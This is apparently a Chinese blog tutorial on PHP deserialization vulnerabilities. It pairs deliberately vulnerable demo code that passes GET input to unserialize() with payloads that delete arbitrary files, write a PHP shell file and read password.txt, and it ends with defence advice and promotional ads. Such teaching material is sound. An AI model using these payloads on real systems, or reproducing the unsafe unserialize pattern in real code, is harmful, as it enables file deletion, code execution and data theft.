一文带你搞懂反序列化漏洞,从零基础到精通,收藏这篇就够了!

一、啥是序列化和反序列化?听我给你唠唠嗑!

想象一下,你要把一个复杂的变形金刚玩具(对象)打包邮寄给远方的朋友,序列化就是把变形金刚变成一堆零件,装进一个盒子里(字符串),方便运输和存储。而反序列化呢,就是你朋友收到盒子后,把零件重新组装成变形金刚的过程(对象)。

在PHP世界里,serialize()函数负责“打包”,unserialize()函数负责“组装”。

二、反序列化漏洞:你的变形金刚被黑客动了手脚!

正常情况下,组装变形金刚没啥问题。但如果黑客在零件里偷偷塞了点炸药,你朋友一组装,“砰”的一声,电脑就炸了!这就是反序列化漏洞

当PHP程序进行反序列化时,会“自动”调用一些“特殊技能”(魔术方法),比如__wakeup()__destruct()等。如果黑客能控制传入unserialize()的字符串,就能让这些“特殊技能”执行恶意代码,搞破坏!

简单来说,反序列化漏洞就是黑客通过修改序列化字符串,控制程序反序列化的过程,从而执行恶意代码。

三、serialize():把你的对象变成字符串的魔法棒!

在PHP中,当你创建了一个对象后,serialize()就像一根魔法棒,能把这个对象变成一串字符串,方便你保存对象的状态,或者通过网络传递。

让我们看个例子:

<?php 
 class Stu{
    public $name = 'aa';
    public $age = 18;
    public function demo(){
        echo "你好啊";
    }
}
$stu = new Stu();
echo "<pre>";
print_r($stu);
//进行序列化
$stus = serialize($stu);
print_r($stus);
?>

运行结果会告诉你,你的Stu对象被变成了一串神秘的字符串。

四、unserialize():把字符串变回对象的时光机!

unserialize()serialize()的逆向操作,它能把一串序列化后的字符串“复原”成原来的对象。

看代码:

<?php 
    //定义一个Stu类
    class Stu
    {   
        //定义成员属性
        public $name = 'aa';
        public $age = 19;
        //定义成员方法
        public function demo()
        {
            echo '你吃了吗';
        }
    }
    //实例化对象
    $stu = new Stu();
    //进行序列化
    $stus = serialize($stu);
    print_r($stus);
    echo "<br><pre>";
    //进行反序列化
    print_r(unserialize($stus));
 ?>

运行结果会告诉你,字符串又变回了活生生的Stu对象。

五、PHP魔术方法:自带BGM的隐藏技能!

魔术方法是PHP面向对象编程的精髓之一,它们就像隐藏在类中的“彩蛋”,在特定时刻自动触发,自带BGM!利用魔术方法,可以轻松实现PHP面向对象中的一些高级特性。反序列化漏洞的利用,往往就和这些魔术方法脱不了干系。

六、常见的魔术方法,掌握它们,你就是魔法师!

  • __construct()构造函数,对象出生时(创建时)自动调用,相当于对象的“欢迎仪式”。
  • __destruct()析构函数,对象去世时(销毁时)自动调用,相当于对象的“追悼会”。
  • __wakeup()唤醒函数,在unserialize()时,如果类里有这个函数,就会优先执行它,相当于对象的“起床闹钟”。
  • __toString()字符串化函数,当对象被当成字符串使用时(比如echo $obj),就会调用它,相当于对象的“自我介绍”。
  • __sleep()睡眠函数,当对象被序列化时调用,可以用来指定哪些属性需要被保存,相当于对象的“睡前整理”。

七、魔术方法的骚操作,让你大开眼界!

来,上代码!

<?php
  class Stu
    {
       public $name = 'aa';
       public $age = 18;

      function __construct()
      {
        echo '对象被创建了__consrtuct()';
      }
      function __wakeup()
      {
        echo '执行了反序列化__wakeup()';
      }     
       function __toString()
      {
        echo '对象被当做字符串输出__toString';
        return 'asdsadsad';
      }
      function __sleep()
      {
        echo '执行了序列化__sleep';
        return array('name','age');
      }
      function __destruct()
      {
        echo '对象被销毁了__destruct()';
      }

    } 
    $stu =  new Stu();
    echo "<pre>";
   //序列化
    $stu_ser = serialize($stu);
    print_r($stu_ser);
    //当成字符串输出
    echo "$stu";
   //反序列化
    $stu_unser = unserialize($stu_ser);
    print_r($stu_unser);
?>

运行这段代码,你会看到各种魔术方法“显灵”,是不是很神奇?

八、反序列化漏洞的实战演练,教你如何“搞事情”!

由于unserialize()会“自动”调用__wakeup()__destruct()等函数,如果这些函数里藏着漏洞或者恶意代码,黑客就能通过控制序列化字符串来触发它们,从而达到攻击目的。

1. __destruct():文件删除的“定时炸弹”!

假设一个网站的logfile.php文件使用了unserialize()进行反序列化,并且反序列化的值是用户可控的。

logfile.php 代码:

<?php 
    class LogFile
    {
        //日志文件名
        public $filename = 'error.log';
        //存储日志文件
        function LogData($text)
        {
            //输出需要存储的内容
            echo 'log some data:'.$text.'<br>';
            file_put_contents($this->filename, $text,FILE_APPEND);
        }
        //删除日志文件
        function __destruct()
        {
            //输出删除的文件
            echo '析构函数__destruct 删除新建文件'.$this->filename;
            //绝对路径删除文件
            unlink(dirname(__FILE__).'/'.$this->filename);
        }
    } 
 ?>

正常页面代码:

<?php 
    header("content-type:text/html;charset=utf-8");
    //引用了logfile.php文件
    include './logfile.php';
    //定义一个类
    class Stu
    {
        public $name = 'aa';
        public $age = 19;
        function StuData()
        {
            echo '姓名:'.$this->name.'<br>';
            echo '年龄:'.$this->age;
        }
    }
    //实例化对象
    $stu = new Stu();
    //重构用户输入的数据
    $newstu = unserialize($_GET['stu']);
    //O:3:"Stu":2:{s:4:"name";s:25:"<script>alert(1)</script>";s:3:"age";i:120;}
    echo "<pre>";
    var_dump($newstu) ;
 ?>

如果黑客构造一个LogFile对象,并把filename属性指向一个重要的文件,那么当LogFile对象被销毁时,__destruct()函数就会被调用,导致该文件被删除!

  • 正常重构: O:7:"LogFile":1:{s:8:"filename";s:9:"error.log";} (删除error.log)
  • 异常重构: O:7:"LogFile":1:{s:8:"filename";s:10:"../ljh.php";} (删除ljh.php,是不是有点刺激?)
2. __wakeup():一句话木马的“传送门”!

如果__wakeup()函数里包含文件写入操作,黑客就能通过修改序列化字符串,写入任意内容到服务器,甚至可以直接写入一句话木马!

示例代码:

<?php 
    class chybeta
    {
        public $test = '123';
        function __wakeup()
        {
            $fp = fopen("shell.php","w") ;
            fwrite($fp,$this->test);
            fclose($fp);
        }
    }
    $class = @$_GET['test'];
    print_r($class);
    echo "</br>";
    $class_unser = unserialize($class);

    // 为显示效果,把这个shell.php包含进来
    require "shell.php";
 ?>

攻击payload: ?test=O:7:"chybeta":1:{s:4:"test";s:19:"<?php phpinfo(); ?>";}

这段代码会在服务器上创建一个shell.php文件,内容是<?php phpinfo(); ?>,黑客可以通过访问这个文件获取服务器信息。

3. __toString():文件读取的“任意门”!

如果__toString()函数里包含文件读取操作,黑客就能通过触发__toString()函数,读取服务器上的任意文件!

fileread.php代码:

<?php 
    //读取文件类
    class FileRead
    {
        public $filename = 'error.log';
        function __toString()
        {
            return file_get_contents($this->filename);
        }
    }
 ?>

正常页面代码:

<?php 
    //引用fileread.php文件
    include './fileread.php';
    //定义用户类
    class User
    {
        public $name = 'aa';
        public $age = 18;
        function __toString()
        {
            return '姓名:'.$this->name.';'.'年龄:'.$this->age;
        }
    }
    //O:4:"User":2:{s:4:"name";s:2:"aa";s:3:"age";i:18;}
    //反序列化
    $obj = unserialize($_GET['user']);
    //当成字符串输出触发toString
    echo $obj;
 ?>

攻击payload: ?user=O:8:"FileRead":1:{s:8:"filename";s:12:"password.txt";}

这段代码会读取服务器上的password.txt文件,并输出其内容。

九、反序列化漏洞的防御:保卫你的数据安全!

和大多数漏洞一样,反序列化漏洞也是由于用户参数的控制问题引起的。所以,最好的防御措施就是:

  1. 永远不要相信用户的输入! 不要把用户的输入或者用户可控的参数直接放进反序列化的操作中。
  2. 在进入反序列化函数之前,对参数进行严格的过滤和限制。

记住,安全第一,预防为主!
```

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包,需要点击下方链接即可前往获取

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
在这里插入图片描述

在这里插入图片描述

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程文末领取哈)
在这里插入图片描述

在这里插入图片描述

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

在这里插入图片描述

黑客资料由于是敏感资源,这里不能直接展示哦!(全套教程文末领取哈)

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

在这里插入图片描述

👉5.黑客必读书单👈

在这里插入图片描述

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
在这里插入图片描述
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值